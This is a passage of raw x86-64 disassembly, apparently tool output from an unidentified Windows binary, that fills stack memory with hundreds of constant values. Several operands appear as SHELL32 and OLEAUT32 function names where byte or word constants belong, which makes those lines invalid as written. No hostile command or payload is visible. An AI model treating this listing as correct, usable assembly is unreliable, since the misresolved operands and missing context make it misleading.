movabs rax, 0x7a7e1c5ffd365a
mov qword [rsp + 0xc640], rax
mov byte [rsp + 0x187], 0x39
movabs rax, 0x7d579eb1b4e3ef
mov qword [rsp + 0xc648], rax
mov dword [rsp + 0x6518], 0xa606
mov eax, 0x267
mov word [rsp + 0x14a4], ax
movabs rax, 0x78f925010fb77a
mov qword [rsp + 0xc650], rax
mov dword [rsp + 0x651c], 0xede4
mov dword [rsp + 0x6520], 0x7cd8
movabs rax, 0x7b0f86ea5318ab
mov qword [rsp + 0xc658], rax
mov dword [rsp + 0x6524], 0xdcbf
movabs rax, 0x7201669b5182fe
mov qword [rsp + 0xc660], rax
mov eax, 0x48a
mov word [rsp + 0x14a8], ax
mov eax, 0x63b
mov word [rsp + 0x14ac], ax
mov dword [rsp + 0x6528], 0x1fde
movabs rax, 0x77d0f104d80cc5
mov qword [rsp + 0xc668], rax
mov eax, 0xfcd
mov word [rsp + 0x14b0], ax
mov eax, SHGetImageList
mov word [rsp + 0x14b4], ax
mov eax, 0x64d
mov word [rsp + 0x14b8], ax
movabs rax, 0x7b987519090824
mov qword [rsp + 0xc670], rax
mov byte [rsp + 0x188], 0xf8
mov dword [rsp + 0x652c], 0x35df
mov dword [rsp + 0x6530], 0x10be
movabs rax, 0x70ea21665a7deb
mov qword [rsp + 0xc678], rax
movabs rax, 0x729b1f759bafdd
mov qword [rsp + 0xc680], rax
movabs rax, 0x79b3fe64099b09
mov qword [rsp + 0xc688], rax
mov dword [rsp + 0x6534], 0x3891
mov dword [rsp + 0x6538], 0x5772
mov byte [rsp + 0x189], 0xd8
mov dword [rsp + 0x653c], 0x11d7
mov dword [rsp + 0x6540], 0x3f41
mov dword [rsp + 0x6544], 0x725d
mov dword [rsp + 0x6548], 0x7a8f
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x14bc], ax
movabs rax, 0x7d0b960529b3a2
mov qword [rsp + 0xc690], rax
movabs rax, 0x7de78eca356b7b
mov qword [rsp + 0xc698], rax
mov dword [rsp + 0x654c], 0x9d1a
movabs rax, 0x7c5713bd81ab7b
mov qword [rsp + 0xc6a0], rax
mov eax, 0x7bf
mov word [rsp + 0x14c0], ax
mov byte [rsp + 0x18a], 5
mov byte [rsp + 0x18b], 0xa3
mov eax, 0x914
mov word [rsp + 0x14c4], ax
mov eax, 0x70
mov word [rsp + 0x14c8], ax
mov eax, 0x3f8
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x6550], 0xf623
movabs rax, 0x7a143fd8e841ab
mov qword [rsp + 0xc6a8], rax
mov eax, 0x5aa
mov word [rsp + 0x14d0], ax
movabs rax, 0x7e1e4c26c0c8b6
mov qword [rsp + 0xc6b0], rax
movabs rax, 0x73bf87962d1042
mov qword [rsp + 0xc6b8], rax
movabs rax, 0x7e6b378cb687c6
mov qword [rsp + 0xc6c0], rax
mov eax, 0x92a
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x6554], 0x922f
mov byte [rsp + 0x18c], 0x7a
mov byte [rsp + 0x18d], ILFindChild
mov eax, 0x262
mov word [rsp + 0x14d8], ax
movabs rax, 0x7dc325d3adc969
mov qword [rsp + 0xc6c8], rax
movabs rax, 0x7ddd301a10f999
mov qword [rsp + 0xc6d0], rax
mov dword [rsp + 0x6558], 0xbc4b
mov eax, 0x83
mov word [rsp + 0x14dc], ax
mov byte [rsp + 0x18e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x18f], 0xa6
mov byte [rsp + 0x190], 0x1d
mov eax, 0xcd6
mov word [rsp + 0x14e0], ax
mov eax, 0x849
mov word [rsp + 0x14e4], ax
mov dword [rsp + 0x655c], 0x4dc3
mov eax, 0x69a
mov word [rsp + 0x14e8], ax
mov eax, 0x754
mov word [rsp + 0x14ec], ax
mov eax, 0x833
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x6560], 0xc35
mov eax, 0xd9c
mov word [rsp + 0x14f4], ax
mov eax, 0x55e
mov word [rsp + 0x14f8], ax
mov eax, 0x740
mov word [rsp + 0x14fc], ax
movabs rax, 0x7db862a20e756c
mov qword [rsp + 0xc6d8], rax
mov eax, 0x703
mov word [rsp + 0x1500], ax
mov byte [rsp + 0x191], 0xa4
mov eax, 0x178
mov word [rsp + 0x1504], ax
mov byte [rsp + 0x192], 0xa
mov byte [rsp + 0x193], 0x41
mov eax, 0xe74
mov word [rsp + 0x1508], ax
mov dword [rsp + 0x6564], 0x329b
mov byte [rsp + 0x194], 0x4c
mov byte [rsp + 0x195], 0x68
mov dword [rsp + 0x6568], 0x13bf
mov eax, 0xfd
mov word [rsp + 0x150c], ax
movabs rax, 0x7abebdd3fee5d1
mov qword [rsp + 0xc6e0], rax
movabs rax, 0x7c01a003c78b33
mov qword [rsp + 0xc6e8], rax
mov dword [rsp + 0x656c], 0x3355
mov eax, 0x26
mov word [rsp + 0x1510], ax
movabs rax, 0x76d683f63efe35
mov qword [rsp + 0xc6f0], rax
mov eax, 0xd48
mov word [rsp + 0x1514], ax
movabs rax, 0x7a16847f73df3e
mov qword [rsp + 0xc6f8], rax
mov dword [rsp + 0x6570], 0x4f8d
mov dword [rsp + 0x6574], 0xfcc3
mov eax, 0x7b0
mov word [rsp + 0x1518], ax
mov dword [rsp + 0x6578], 0x9eb4
mov eax, 0x65f
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x657c], 0x7a7
movabs rax, 0x7dfce7b6ce02a2
mov qword [rsp + 0xc700], rax
mov eax, 0x465
mov word [rsp + 0x1520], ax
mov eax, ILSaveToStream
mov word [rsp + 0x1524], ax
mov dword [rsp + 0x6580], 0x47b1
mov byte [rsp + 0x196], 0x5d
mov dword [rsp + 0x6584], 0x5c84
mov byte [rsp + 0x197], 0x42
movabs rax, 0x7271b2bd1321e2
mov qword [rsp + 0xc708], rax
mov byte [rsp + 0x198], 0xde
mov eax, 0x509
mov word [rsp + 0x1528], ax
mov dword [rsp + 0x6588], 0x14c5
mov byte [rsp + 0x199], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x4a9
mov word [rsp + 0x152c], ax
movabs rax, 0x72512a8e37b13d
mov qword [rsp + 0xc710], rax
mov dword [rsp + 0x658c], 0xe45f
mov dword [rsp + 0x6590], 0xebea
mov dword [rsp + 0x6594], 0xb14
mov eax, 0x4e0
mov word [rsp + 0x1530], ax
mov eax, 0x43b
mov word [rsp + 0x1534], ax
movabs rax, 0x70767fc1c63240
mov qword [rsp + 0xc718], rax
mov eax, 2
mov word [rsp + 0x1538], ax
mov eax, 0xaa2
mov word [rsp + 0x153c], ax
mov dword [rsp + 0x6598], 0x21e1
mov byte [rsp + 0x19a], 8
mov eax, 0x630
mov word [rsp + 0x1540], ax
movabs rax, 0x735b8ebe05d8b5
mov qword [rsp + 0xc720], rax
movabs rax, 0x732a9e868df6b9
mov qword [rsp + 0xc728], rax
mov dword [rsp + 0x659c], 0x4b60
mov dword [rsp + 0x65a0], 0x1b59
movabs rax, 0x779fd498769fee
mov qword [rsp + 0xc730], rax
movabs rax, 0x7bc9cb50cfee0f
mov qword [rsp + 0xc738], rax
mov byte [rsp + 0x19b], 0xda
movabs rax, 0x7cc21238f0eeee
mov qword [rsp + 0xc740], rax
mov byte [rsp + 0x19c], 0x64
mov dword [rsp + 0x65a4], 0x13ca
mov byte [rsp + 0x19d], 7
mov dword [rsp + 0x65a8], 0xfb94
mov byte [rsp + 0x19e], 0x5e
mov eax, 0xb7a
mov word [rsp + 0x1544], ax
mov eax, 0x894
mov word [rsp + 0x1548], ax
movabs rax, 0x7aa1a42fc1fdf1
mov qword [rsp + 0xc748], rax
mov byte [rsp + reloc.OLEAUT32.dll_OleCreatePropertyFrameIndirect], 0x9f
movabs rax, 0x7baf0e423377d7
mov qword [rsp + 0xc750], rax
mov byte [rsp + 0x1a0], 0x5f
mov dword [rsp + 0x65ac], 0x5bf8
mov byte [rsp + 0x1a1], 0x5a
movabs rax, 0x79f09adeebb1d2
mov qword [rsp + 0xc758], rax
movabs rax, 0x758afc00a2e834
mov qword [rsp + 0xc760], rax
mov dword [rsp + 0x65b0], 0x21a2
movabs rax, 0x720373bcb9d159
mov qword [rsp + 0xc768], rax
mov byte [rsp + 0x1a2], 0x8d
movabs rax, 0x79ec15e02591f9
mov qword [rsp + 0xc770], rax
movabs rax, 0x73b035f100e536
mov qword [rsp + 0xc778], rax
mov byte [rsp + 0x1a3], SHDoDragDrop
mov dword [rsp + 0x65b4], 0x8824
movabs rax, 0x704ea81b0cb662
mov qword [rsp + 0xc780], rax
mov dword [rsp + 0x65b8], 0x5089
mov dword [rsp + 0x65bc], 0x74a6
mov dword [rsp + 0x65c0], 0x90d6
mov eax, 0x8ac
mov word [rsp + 0x154c], ax
mov eax, 0xf34
mov word [rsp + 0x1550], ax
mov byte [rsp + 0x1a4], 0x78
movabs rax, 0x7c5faafdba3392
mov qword [rsp + 0xc788], rax
mov eax, 0x55b
mov word [rsp + 0x1554], ax
mov byte [rsp + 0x1a5], 0xa5
movabs rax, 0x72af84a65d1663
mov qword [rsp + 0xc790], rax
mov dword [rsp + 0x65c4], 0xfd99
mov eax, 0x542
mov word [rsp + 0x1558], ax
mov byte [rsp + 0x1a6], 0xf8
mov dword [rsp + 0x65c8], 0x8a43
mov dword [rsp + 0x65cc], 0x632e
movabs rax, 0x7c6bf10f507d0e
mov qword [rsp + 0xc798], rax
mov dword [rsp + 0x65d0], 0x5b07
movabs rax, 0x717854b9386676
mov qword [rsp + 0xc7a0], rax
movabs rax, 0x7b600b7d8be7d9
mov qword [rsp + 0xc7a8], rax
mov dword [rsp + 0x65d4], 0x1a85
mov byte [rsp + 0x1a7], ILCloneFirst
mov byte [rsp + 0x1a8], 0x37
mov byte [rsp + 0x1a9], 0x7b
mov dword [rsp + 0x65d8], 0x8044
mov eax, 0xb7a
mov word [rsp + 0x155c], ax
mov eax, 0x427
mov word [rsp + 0x1560], ax
movabs rax, 0x7bd7c8dc9dd1e4
mov qword [rsp + 0xc7b0], rax
mov dword [rsp + 0x65dc], 0x5df
movabs rax, 0x7bc8245ec81eb1
mov qword [rsp + 0xc7b8], rax
mov eax, 0x431
mov word [rsp + 0x1564], ax
mov eax, 0x52f
mov word [rsp + 0x1568], ax
mov eax, 0xc30
mov word [rsp + 0x156c], ax
mov byte [rsp + 0x1aa], 7
mov dword [rsp + 0x65e0], 0x6d22
mov byte [rsp + 0x1ab], 0x7a
mov dword [rsp + 0x65e4], 0x79f5
mov byte [rsp + 0x1ac], 0x8a
mov byte [rsp + 0x1ad], 0x70
movabs rax, 0x7e895f6a8826c3
mov qword [rsp + 0xc7c0], rax
movabs rax, 0x7b70b4d276ea4f
mov qword [rsp + 0xc7c8], rax
movabs rax, 0x7c506646585353
mov qword [rsp + 0xc7d0], rax
mov eax, 0x1e6
mov word [rsp + 0x1570], ax
mov eax, 0x7b3
mov word [rsp + 0x1574], ax
mov dword [rsp + 0x65e8], 0x9c9
mov byte [rsp + 0x1ae], SHGetNewLinkInfoW
movabs rax, 0x72c6aed2d7fb79
mov qword [rsp + 0xc7d8], rax
mov dword [rsp + 0x65ec], 0x3b84
movabs rax, 0x7aea525b8b35dc
mov qword [rsp + 0xc7e0], rax
mov eax, 0x531
mov word [rsp + 0x1578], ax
movabs rax, 0x7b14a94554198b
mov qword [rsp + 0xc7e8], rax
mov dword [rsp + 0x65f0], 0x32b4
mov eax, 0xfaa
mov word [rsp + 0x157c], ax
movabs rax, 0x7dc10066ae3066
mov qword [rsp + 0xc7f0], rax
mov eax, 0xf45
mov word [rsp + 0x1580], ax
mov eax, 0x29
mov word [rsp + 0x1584], ax
mov dword [rsp + 0x65f4], 0x7344
mov dword [rsp + 0x65f8], 0x5f46
mov dword [rsp + 0x65fc], 0xf5ce
movabs rax, 0x7a1b39f787ec97
mov qword [rsp + 0xc7f8], rax
mov byte [rsp + 0x1af], 0x25
mov byte [rsp + 0x1b0], 0x28
mov eax, 0xd1e
mov word [rsp + 0x1588], ax
movabs rax, 0x759c4fe969ab26
mov qword [rsp + 0xc800], rax
mov byte [rsp + 0x1b1], 0xf3
mov eax, 0xa30
mov word [rsp + 0x158c], ax
movabs rax, 0x72a127c8f540cb
mov qword [rsp + 0xc808], rax
mov dword [rsp + 0x6600], 0x55f1
movabs rax, 0x7c0de3325aa4af
mov qword [rsp + 0xc810], rax
mov eax, 0x2e4
mov word [rsp + 0x1590], ax
mov byte [rsp + 0x1b2], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov byte [rsp + 0x1b3], 0x86
mov byte [rsp + 0x1b4], 0x64
mov byte [rsp + 0x1b5], SHGetNewLinkInfoW
mov dword [rsp + 0x6604], 0xcf8d
mov eax, 0xd1d
mov word [rsp + 0x1594], ax
mov dword [rsp + 0x6608], 0x213d
mov byte [rsp + 0x1b6], 0xed
mov eax, 0x59
mov word [rsp + 0x1598], ax
mov eax, 0x538
mov word [rsp + 0x159c], ax
mov byte [rsp + 0x1b7], 0x1c
mov dword [rsp + 0x660c], 0x6c8f
mov eax, 0x7bd
mov word [rsp + 0x15a0], ax
movabs rax, 0x724961af2ada05
mov qword [rsp + 0xc818], rax
mov dword [rsp + 0x6610], 0x5830
mov eax, 0x442
mov word [rsp + 0x15a4], ax
mov byte [rsp + 0x1b8], 0xe0
movabs rax, 0x7eba8673b2787e
mov qword [rsp + 0xc820], rax
mov byte [rsp + 0x1b9], 0x7b
mov dword [rsp + 0x6614], 0x51cd
movabs rax, 0x79064c49108799
mov qword [rsp + 0xc828], rax
movabs rax, 0x76cb7762fba051
mov qword [rsp + 0xc830], rax
movabs rax, 0x71cc276861451b
mov qword [rsp + 0xc838], rax
mov byte [rsp + 0x1ba], 0x3f
mov eax, 0x95d
mov word [rsp + 0x15a8], ax
mov eax, 0xf5c
mov word [rsp + 0x15ac], ax
movabs rax, 0x70244fda5ea726
mov qword [rsp + 0xc840], rax
mov dword [rsp + 0x6618], 0x7b46
movabs rax, 0x770f4288982f03
mov qword [rsp + 0xc848], rax
mov dword [rsp + 0x661c], 0xeedc
movabs rax, 0x739d5e551c8ee1
mov qword [rsp + 0xc850], rax
mov eax, 0x4ba
mov word [rsp + 0x15b0], ax
mov eax, 0x3be
mov word [rsp + 0x15b4], ax
mov dword [rsp + 0x6620], 0x8741
movabs rax, 0x72206b0b9952c2
mov qword [rsp + 0xc858], rax
movabs rax, 0x7e1d91b0e95db7
mov qword [rsp + 0xc860], rax
mov dword [rsp + 0x6624], 0x726
mov byte [rsp + 0x1bb], 0xd3
mov eax, 0xd05
mov word [rsp + 0x15b8], ax
mov eax, 0xbd9
mov word [rsp + 0x15bc], ax
mov byte [rsp + 0x1bc], ILFree
movabs rax, 0x794be5317d97a8
mov qword [rsp + 0xc868], rax
mov dword [rsp + 0x6628], 0x72e3
mov eax, 0x325
mov word [rsp + 0x15c0], ax
mov byte [rsp + 0x1bd], 0x4c
mov dword [rsp + 0x662c], 0x189
mov eax, 0x340
mov word [rsp + 0x15c4], ax
movabs rax, 0x7125eaf53d3801
mov qword [rsp + 0xc870], rax
mov dword [rsp + 0x6630], 0x73ed
mov eax, 0x4dc
mov word [rsp + 0x15c8], ax
movabs rax, 0x75b655565748b4
mov qword [rsp + 0xc878], rax
movabs rax, 0x7e12f123407262
mov qword [rsp + 0xc880], rax
mov eax, 0x820
mov word [rsp + 0x15cc], ax
movabs rax, 0x7e004dc361eb62
mov qword [rsp + 0xc888], rax
mov byte [rsp + 0x1be], 0xe4
mov byte [rsp + 0x1bf], SHDoDragDrop
mov byte [rsp + 0x1c0], 0x23
mov byte [rsp + 0x1c1], 0x78
movabs rax, 0x718e970389d9c5
mov qword [rsp + 0xc890], rax
mov dword [rsp + 0x6634], 0x71b7
mov byte [rsp + 0x1c2], 0x65
movabs rax, 0x7632d5165efd97
mov qword [rsp + 0xc898], rax
mov byte [rsp + 0x1c3], PathYetAnotherMakeUniqueName
movabs rax, 0x7da568c1951014
mov qword [rsp + 0xc8a0], rax
movabs rax, 0x7b7d0ffe90ae5e
mov qword [rsp + 0xc8a8], rax
movabs rax, 0x7e3cbdfaa55a98
mov qword [rsp + 0xc8b0], rax
mov eax, 0x4fd
mov word [rsp + 0x15d0], ax
movabs rax, 0x70ad17e4dadf8e
mov qword [rsp + 0xc8b8], rax
mov byte [rsp + 0x1c4], 0x79
mov eax, 0x3ae
mov word [rsp + 0x15d4], ax
mov eax, 0x79e
mov word [rsp + 0x15d8], ax
mov byte [rsp + 0x1c5], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7afcea0fbef082
mov qword [rsp + 0xc8c0], rax
movabs rax, 0x7e0dc3a5de45d0
mov qword [rsp + 0xc8c8], rax
mov dword [rsp + 0x6638], 0xd6d7
mov eax, 0x434
mov word [rsp + 0x15dc], ax
mov dword [rsp + 0x663c], 0x1466
movabs rax, 0x75b1eaee4b247a
mov qword [rsp + 0xc8d0], rax
mov dword [rsp + 0x6640], 0x58d2
mov dword [rsp + 0x6644], 0x690d
movabs rax, 0x774d6d7b5ee6e5
mov qword [rsp + 0xc8d8], rax
mov dword [rsp + 0x6648], 0x8c64
movabs rax, 0x703cd668780d00
mov qword [rsp + 0xc8e0], rax
mov dword [rsp + 0x664c], 0x3006
movabs rax, 0x73e7f897672206
mov qword [rsp + 0xc8e8], rax
movabs rax, 0x701e1e44e989b3
mov qword [rsp + 0xc8f0], rax
mov eax, 0x8eb
mov word [rsp + 0x15e0], ax
movabs rax, 0x7ddcf3234bca9a
mov qword [rsp + 0xc8f8], rax
movabs rax, 0x7e1625480cf909
mov qword [rsp + 0xc900], rax
movabs rax, 0x71b226879696a4
mov qword [rsp + 0xc908], rax
mov dword [rsp + 0x6650], 0xeb7b
mov byte [rsp + 0x1c6], 0x6a
movabs rax, 0x72d10bf87ecc55
mov qword [rsp + 0xc910], rax
mov dword [rsp + 0x6654], 0x656b
mov byte [rsp + 0x1c7], 0x1e
movabs rax, 0x7c43bafd9bda5f
mov qword [rsp + 0xc918], rax
movabs rax, 0x790250653b1607
mov qword [rsp + 0xc920], rax
movabs rax, 0x7e95f4dc561e37
mov qword [rsp + 0xc928], rax
mov dword [rsp + 0x6658], 0x7038
mov byte [rsp + 0x1c8], 0x77
mov dword [rsp + 0x665c], 0x359d
mov eax, 0x38a
mov word [rsp + 0x15e4], ax
mov eax, 0x6a0
mov word [rsp + 0x15e8], ax
mov eax, 0x1e1
mov word [rsp + 0x15ec], ax
movabs rax, 0x77885458654eb9
mov qword [rsp + 0xc930], rax
mov byte [rsp + 0x1c9], 0x3c
mov byte [rsp + 0x1ca], 0x60
movabs rax, 0x795fc3d5ef4d31
mov qword [rsp + 0xc938], rax
mov dword [rsp + 0x6660], 0x5cd3
movabs rax, 0x7c74c4e769e647
mov qword [rsp + 0xc940], rax
movabs rax, 0x73b6a4f8968c03
mov qword [rsp + 0xc948], rax
movabs rax, 0x7a4dba4f6c1ad1
mov qword [rsp + 0xc950], rax
mov byte [rsp + 0x1cb], 0x34
mov eax, 0x32f
mov word [rsp + 0x15f0], ax
mov byte [rsp + 0x1cc], 0x90
mov eax, 0xe8f
mov word [rsp + 0x15f4], ax
mov dword [rsp + 0x6664], 0x3755
mov byte [rsp + 0x1cd], 0xe4
movabs rax, 0x75d3c14e21f220
mov qword [rsp + 0xc958], rax
movabs rax, 0x7a0db107b90afd
mov qword [rsp + 0xc960], rax
mov eax, 0x46b
mov word [rsp + 0x15f8], ax
mov dword [rsp + 0x6668], 0xcc9
mov dword [rsp + 0x666c], 0xdb49
mov eax, 0x4a0
mov word [rsp + 0x15fc], ax
movabs rax, 0x7277096a638036
mov qword [rsp + 0xc968], rax
mov eax, 0x30f
mov word [rsp + 0x1600], ax
movabs rax, 0x750896de0b1909
mov qword [rsp + 0xc970], rax
mov byte [rsp + 0x1ce], 9
mov dword [rsp + 0x6670], 0x4829
mov eax, 0x7fc
mov word [rsp + 0x1604], ax
mov eax, 0x67d
mov word [rsp + 0x1608], ax
movabs rax, 0x7bd382a7c1273c
mov qword [rsp + 0xc978], rax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x160c], ax
mov eax, 0x36d
mov word [rsp + 0x1610], ax
mov dword [rsp + 0x6674], 0x28c1
mov byte [rsp + 0x1cf], 0x2b
mov byte [rsp + 0x1d0], 0x61
movabs rax, 0x73f0293a5d1fca
mov qword [rsp + 0xc980], rax
mov byte [rsp + 0x1d1], 0x22
movabs rax, 0x77f7968f70c391
mov qword [rsp + 0xc988], rax
movabs rax, 0x7dee33ef97ee2f
mov qword [rsp + 0xc990], rax
movabs rax, 0x76120b05a4f604
mov qword [rsp + 0xc998], rax
mov byte [rsp + 0x1d2], SHDoDragDrop
mov dword [rsp + 0x6678], 0x237a
mov dword [rsp + 0x667c], 0x4670
mov byte [rsp + 0x1d3], 0x78
mov eax, 0x570
mov word [rsp + 0x1614], ax
movabs rax, 0x75cc2beeee043a
mov qword [rsp + 0xc9a0], rax
mov dword [rsp + 0x6680], 0x27ce
mov dword [rsp + 0x6684], 0x1f18
mov dword [rsp + 0x6688], 0x10e0
mov eax, 0xf3a
mov word [rsp + 0x1618], ax
mov eax, 0xff
mov word [rsp + 0x161c], ax
movabs rax, 0x78306038a8ff91
mov qword [rsp + 0xc9a8], rax
mov byte [rsp + 0x1d4], 0x3e
mov dword [rsp + 0x668c], 0x4e3b
mov eax, 0x515
mov word [rsp + 0x1620], ax
mov eax, 0x27e
mov word [rsp + 0x1624], ax
mov dword [rsp + 0x6690], 0xc5f2
mov dword [rsp + 0x6694], 0x69ff
movabs rax, 0x7aee434fd9ba05
mov qword [rsp + 0xc9b0], rax
mov byte [rsp + 0x1d5], 0xd0
mov eax, 0x587
mov word [rsp + 0x1628], ax
movabs rax, 0x7c16ac93079e41
mov qword [rsp + 0xc9b8], rax
mov eax, 0xa25
mov word [rsp + 0x162c], ax
mov byte [rsp + 0x1d6], 0x69
mov dword [rsp + 0x6698], 0x4d86
mov byte [rsp + 0x1d7], 0x39
mov byte [rsp + 0x1d8], 0x1f
mov eax, 0x1f5
mov word [rsp + 0x1630], ax
mov eax, 0x12d
mov word [rsp + 0x1634], ax
movabs rax, 0x78e20a8987e0d3
mov qword [rsp + 0xc9c0], rax
mov eax, 0x4ef
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x669c], 0x1093
mov dword [rsp + 0x66a0], 0x20e8
mov byte [rsp + 0x1d9], ILCreateFromPathW
mov dword [rsp + 0x66a4], 0x128
mov dword [rsp + 0x66a8], 0x71c7
movabs rax, 0x7342f504c743e1
mov qword [rsp + 0xc9c8], rax
movabs rax, 0x7b0ade2ebcaeed
mov qword [rsp + 0xc9d0], rax
mov eax, 0x69a
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x66ac], 0x4801
mov eax, 0xa43
mov word [rsp + 0x1640], ax
mov eax, 0x7bd
mov word [rsp + 0x1644], ax
movabs rax, 0x7a29615afaea25
mov qword [rsp + 0xc9d8], rax
mov eax, 0x11f
mov word [rsp + 0x1648], ax
mov eax, 0xb4a
mov word [rsp + 0x164c], ax
mov eax, 0xfe
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x66b0], 0x8813
mov dword [rsp + 0x66b4], 0x4768
mov eax, 0x6c8
mov word [rsp + 0x1654], ax
mov dword [rsp + 0x66b8], 0x4db0
movabs rax, 0x7b57e7d905908e
mov qword [rsp + 0xc9e0], rax
movabs rax, 0x7ecf39313e7312
mov qword [rsp + 0xc9e8], rax
mov dword [rsp + 0x66bc], 0x5507
movabs rax, 0x7ef10872d5bef3
mov qword [rsp + 0xc9f0], rax
movabs rax, 0x753e681d5b32df
mov qword [rsp + 0xc9f8], rax
mov dword [rsp + 0x66c0], 0x57ee
mov byte [rsp + 0x1da], 0x3d
mov dword [rsp + 0x66c4], 0xfe7a
mov dword [rsp + 0x66c8], 0x6a17
mov eax, 0x24a
mov word [rsp + 0x1658], ax
mov byte [rsp + 0x1db], 0x9f
mov eax, 0x6ba
mov word [rsp + 0x165c], ax
movabs rax, 0x7475f63c80bf90
mov qword [rsp + 0xca00], rax
movabs rax, 0x74f7f6881ab35f
mov qword [rsp + 0xca08], rax
movabs rax, 0x7276d8258ef2aa
mov qword [rsp + 0xca10], rax
mov dword [rsp + 0x66cc], 0x3384
movabs rax, 0x7790ee41c96eb4
mov qword [rsp + 0xca18], rax
movabs rax, 0x784e90a7e8bf0e
mov qword [rsp + 0xca20], rax
mov dword [rsp + 0x66d0], 0xadc5
movabs rax, 0x775bf8ac711f1f
mov qword [rsp + 0xca28], rax
mov dword [rsp + 0x66d4], 0x66ca
mov dword [rsp + 0x66d8], 0xf5f5
movabs rax, 0x7b75ff990e6536
mov qword [rsp + 0xca30], rax
mov eax, 0x136
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x1dc], 0x24
mov eax, 0x168
mov word [rsp + 0x1664], ax
movabs rax, 0x72b78dea800a48
mov qword [rsp + 0xca38], rax
movabs rax, 0x722865e985e24c
mov qword [rsp + 0xca40], rax
mov eax, 0xd0e
mov word [rsp + 0x1668], ax
mov byte [rsp + 0x1dd], 0x59
mov dword [rsp + 0x66dc], 0x5264
movabs rax, 0x7df51277e9d3ee
mov qword [rsp + 0xca48], rax
movabs rax, 0x71b36d94f7ad6d
mov qword [rsp + 0xca50], rax
mov eax, 0xff
mov word [rsp + 0x166c], ax
movabs rax, 0x7cc444f420787e
mov qword [rsp + 0xca58], rax
mov byte [rsp + 0x1de], 6
movabs rax, 0x702fcb080d35bd
mov qword [rsp + 0xca60], rax
mov byte [rsp + 0x1df], 0x70
movabs rax, 0x7b14fe9518d2a4
mov qword [rsp + 0xca68], rax
mov eax, 0x6e7
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x66e0], 0x7378
mov dword [rsp + 0x66e4], 0x76ca
mov dword [rsp + 0x66e8], 0x175b
mov eax, 0x76c
mov word [rsp + 0x1674], ax
movabs rax, 0x7b2c3e88b53784
mov qword [rsp + 0xca70], rax
mov dword [rsp + 0x66ec], 0xd8a1
mov byte [rsp + 0x1e0], 0x78
mov byte [rsp + 0x1e1], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x66f0], 0xea57
movabs rax, 0x7e9cef54b92f81
mov qword [rsp + 0xca78], rax
mov eax, 0x80a
mov word [rsp + 0x1678], ax
mov byte [rsp + 0x1e2], 0x28
mov byte [rsp + 0x1e3], ILFree
movabs rax, 0x75fa3c0f1f6c7f
mov qword [rsp + 0xca80], rax
mov eax, 0x355
mov word [rsp + 0x167c], ax
mov eax, 0x4f
mov word [rsp + 0x1680], ax
mov eax, 0xbb7
mov word [rsp + 0x1684], ax
movabs rax, 0x72ab9c4acf31dd
mov qword [rsp + 0xca88], rax
movabs rax, 0x7ad3dd08587d33
mov qword [rsp + 0xca90], rax
mov dword [rsp + 0x66f4], 0xd20
movabs rax, 0x769eb07db5268b
mov qword [rsp + 0xca98], rax
mov dword [rsp + 0x66f8], 0x4e55
mov byte [rsp + 0x1e4], 0x75
movabs rax, 0x7d850f29bd3c88
mov qword [rsp + 0xcaa0], rax
mov eax, ILAppendID
mov word [rsp + 0x1688], ax
mov byte [rsp + 0x1e5], ILSaveToStream
mov eax, 0xb14
mov word [rsp + 0x168c], ax
movabs rax, 0x7eaac3642d7fe2
mov qword [rsp + 0xcaa8], rax
mov byte [rsp + 0x1e6], 0xe5
mov dword [rsp + 0x66fc], 0x39e4
mov dword [rsp + 0x6700], 0x67be
mov eax, 0x534
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x6704], 0xe40
mov eax, 0xbdb
mov word [rsp + 0x1694], ax
movabs rax, 0x70d4de8b923b14
mov qword [rsp + 0xcab0], rax
mov eax, 0x82
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x6708], 0xf6a7
mov dword [rsp + 0x670c], 0xd61a
mov byte [rsp + 0x1e7], 0x5d
mov byte [rsp + 0x1e8], 0x35
mov dword [rsp + 0x6710], 0x629d
mov dword [rsp + 0x6714], 0x490f
mov eax, 0x933
mov word [rsp + 0x169c], ax
mov byte [rsp + 0x1e9], 0x72
mov eax, 0x91f
mov word [rsp + 0x16a0], ax
movabs rax, 0x7680b99bf86ed0
mov qword [rsp + 0xcab8], rax
mov byte [rsp + 0x1ea], 0x37
mov byte [rsp + 0x1eb], 0x4c
mov eax, 0x44d
mov word [rsp + 0x16a4], ax
mov dword [rsp + 0x6718], 0x5ed8
movabs rax, 0x74dc44b9d67cc6
mov qword [rsp + 0xcac0], rax
mov eax, 0x61d
mov word [rsp + 0x16a8], ax
mov dword [rsp + 0x671c], 0x3878
mov eax, 0x38
mov word [rsp + 0x16ac], ax
mov eax, 0x391
mov word [rsp + 0x16b0], ax
movabs rax, 0x752ed443eb3917
mov qword [rsp + 0xcac8], rax
movabs rax, 0x70cb4ba977af42
mov qword [rsp + 0xcad0], rax
mov dword [rsp + 0x6720], 0x5858
mov eax, 0x13a
mov word [rsp + 0x16b4], ax
movabs rax, 0x7c4bba3bd3b044
mov qword [rsp + 0xcad8], rax
mov eax, 0x1d9
mov word [rsp + 0x16b8], ax
mov eax, 0x33f
mov word [rsp + 0x16bc], ax
movabs rax, 0x798fcc06040d1b
mov qword [rsp + 0xcae0], rax
movabs rax, 0x74d882ac5737a4
mov qword [rsp + 0xcae8], rax
mov dword [rsp + 0x6724], 0x62d6
movabs rax, 0x7c861b480fd4c7
mov qword [rsp + 0xcaf0], rax
mov dword [rsp + 0x6728], 0x305c
mov byte [rsp + 0x1ec], 0x5b
movabs rax, 0x779675c8b226bc
mov qword [rsp + 0xcaf8], rax
mov byte [rsp + 0x1ed], 0x63
mov byte [rsp + 0x1ee], ILCloneFirst
mov eax, 0x799
mov word [rsp + 0x16c0], ax
mov byte [rsp + 0x1ef], 0x29
